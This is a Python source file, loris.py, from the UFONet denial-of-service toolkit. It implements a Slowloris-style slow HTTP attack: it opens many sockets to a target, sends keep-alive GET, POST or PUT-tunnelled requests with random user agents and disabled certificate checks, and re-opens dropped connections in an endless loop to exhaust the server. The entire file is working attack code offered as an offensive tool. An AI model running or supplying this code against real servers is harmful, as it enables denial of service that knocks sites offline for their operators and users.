loris.py 3.5 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import socket, random, ssl, re
  10. # UFONet Slow HTTP requests (LORIS)
  11. def setupSocket(self, ip):
  12. method = random.choice(self.methods)
  13. port = 80
  14. if ip.startswith('http://'):
  15. ip = ip.replace('http://','')
  16. port = 80
  17. elif ip.startswith('https://'):
  18. ip = ip.replace('https://','')
  19. port = 443
  20. self.user_agent = random.choice(self.agents).strip()
  21. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  22. sock.settimeout(10)
  23. if port == 443:
  24. sock = ssl.wrap_socket(sock, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLSv1)
  25. sock.connect((ip, port))
  26. if method == "GET":
  27. http_req = "GET / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
  28. elif method == "POST":
  29. http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
  30. else:
  31. http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nX-HTTP-Method: PUT\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n" # "Verb Tunneling Abuse" -> [RFC2616]
  32. sock.sendall(http_req)
  33. resp = sock.recv(1280).split("\n")
  34. for l in resp:
  35. if "Location:" in l:
  36. try:
  37. ip = re.findall('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', l)[0] # extract new redirect url
  38. ip = socket.gethostbyname(ip)
  39. except:
  40. pass
  41. return sock, ip
  42. def tractor(self, ip, requests):
  43. n=0
  44. for i in range(requests):
  45. n=n+1
  46. try:
  47. sock, ip = setupSocket(self, ip)
  48. print "[Info] LORIS: Firing 'tractor beam' ["+str(n)+"] -> Status: CONNECTED! (Keeping socket open in time...)"
  49. except:
  50. print "[Error] LORIS: Failed to engage with 'tractor beam' ["+str(n)+"]"
  51. self.sockets.append(sock)
  52. while True: # try to abuse HTTP Headers
  53. for sock in list(self.sockets):
  54. try:
  55. sock, ip = setupSocket(self, ip)
  56. except socket.error:
  57. self.sockets.remove(sock)
  58. for i in range(requests - len(self.sockets)):
  59. print("[Info] LORIS: Re-opening closed 'tractor beam' -> Status: RE-LINKED!")
  60. sock, ip = setupSocket(self, ip)
  61. if sock:
  62. self.sockets.append(sock)
  63. class LORIS(object):
  64. def __init__(self):
  65. self.sockets = []
  66. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  67. self.agents = []
  68. f = open(self.agents_file)
  69. agents = f.readlines()
  70. f.close()
  71. for agent in agents:
  72. self.agents.append(agent)
  73. self.methods = ['GET', 'POST', 'X-METHOD'] # supported HTTP requests methods
  74. def attacking(self, target, requests):
  75. print "\n[Info] Slow HTTP requests (LORIS) is ready to fire: [" , requests, "tractor beams ]\n"
  76. try:
  77. ip = socket.gethostbyname(target)
  78. except:
  79. ip = target
  80. tractor(self, ip, requests) # attack with LORIS using threading